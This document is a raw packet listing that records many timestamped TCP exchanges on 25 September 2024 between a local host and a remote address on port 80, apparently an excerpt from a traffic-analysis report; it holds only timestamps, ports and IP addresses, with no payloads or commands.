Sep 25, 2024 03:51:30.375123978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375160933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375175953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.375179052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375217915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.375377893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375411034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375418901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.375430107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375447035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375463963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375478029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.375513077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.375550985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375579119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375593901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375612020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375618935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.375629902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375648975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375667095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.375734091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.375891924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375907898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375922918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375937939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375955105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375973940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375998974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376040936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376195908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376211882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376226902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376243114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376260996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376266003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376279116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376296043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376307964 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376312017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376329899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376332045 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376355886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376590014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376607895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376625061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376640081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376671076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376701117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376717091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376730919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376748085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376765013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376771927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376781940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376795053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376810074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376817942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376832008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376842022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376847982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376866102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376878023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376882076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376899004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.376913071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.376940012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.377429008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377444983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377459049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377474070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377487898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377489090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.377504110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377520084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377536058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377543926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.377552986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377568960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377582073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.377583981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377600908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377604961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.377619028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377626896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.377635956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377651930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377665997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.377670050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377688885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377703905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.377705097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.377728939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.378288984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378305912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378323078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378338099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378349066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.378351927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378370047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378375053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.378387928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378403902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378420115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378431082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.378431082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.378436089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378453016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378468037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378473043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.378484964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378500938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378514051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.378518105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378535986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378540993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.378552914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378560066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.378571033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378587961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378596067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.378606081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.378633022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.379251957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379268885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379285097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379301071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379312038 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.379317045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379334927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379340887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.379352093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379368067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379378080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.379395008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379405975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.379427910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379440069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.379443884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379462004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379477024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379493952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379498005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.379511118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379528999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379535913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.379545927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379556894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.379564047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.379590034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.403265953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.403283119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.403301954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.403328896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.403343916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.403343916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.403373003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.403429985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.403454065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.403470993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.403486967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.403528929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466178894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466209888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466224909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466258049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466274023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466290951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466306925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466321945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466326952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466348886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466429949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466445923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466461897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466479063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466490984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466535091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466589928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466625929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466640949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466655970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466671944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466675997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466690063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466701031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466706038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466721058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466728926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466757059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466873884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466888905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466905117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466921091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466928005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466938019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.466962099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.466989040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467017889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467035055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467051983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467067003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467091084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467123985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467127085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467144966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467159986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467176914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467191935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467194080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467211008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467226028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467231989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467281103 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467483044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467508078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467523098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467540026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467549086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467556953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467571020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467572927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467590094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467607021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467641115 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467840910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467856884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467874050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467889071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467904091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467919111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467933893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467933893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467950106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467967033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467982054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.467984915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.467998981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468009949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468014956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468029976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468033075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468050957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468065977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468070030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468100071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468297005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468312025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468348026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468475103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468499899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468516111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468527079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468533039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468549967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468559980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468565941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468581915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468596935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468597889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468612909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468619108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468630075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468647003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468657970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468662977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468677998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468693972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468707085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468710899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468728065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468741894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468744040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468760967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468764067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468777895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.468787909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.468827009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469221115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469234943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469250917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469265938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469283104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469299078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469311953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469315052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469331980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469343901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469348907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469364882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469383001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469392061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469398975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469413996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469428062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469453096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469666958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469682932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469697952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469712019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469727039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469729900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469743967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469758987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469768047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469774961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469790936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469805002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469819069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469820976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469841003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469856024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469858885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469875097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.469877958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.469897985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.494319916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.494335890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.494353056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.494390011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.494421959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.494431019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.494446039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.494462013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.494488955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.494539022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.494573116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.494584084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.546080112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.701519012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.701551914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.701566935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.701597929 CEST	80	49730	3.80.28.180	192.168.2.4
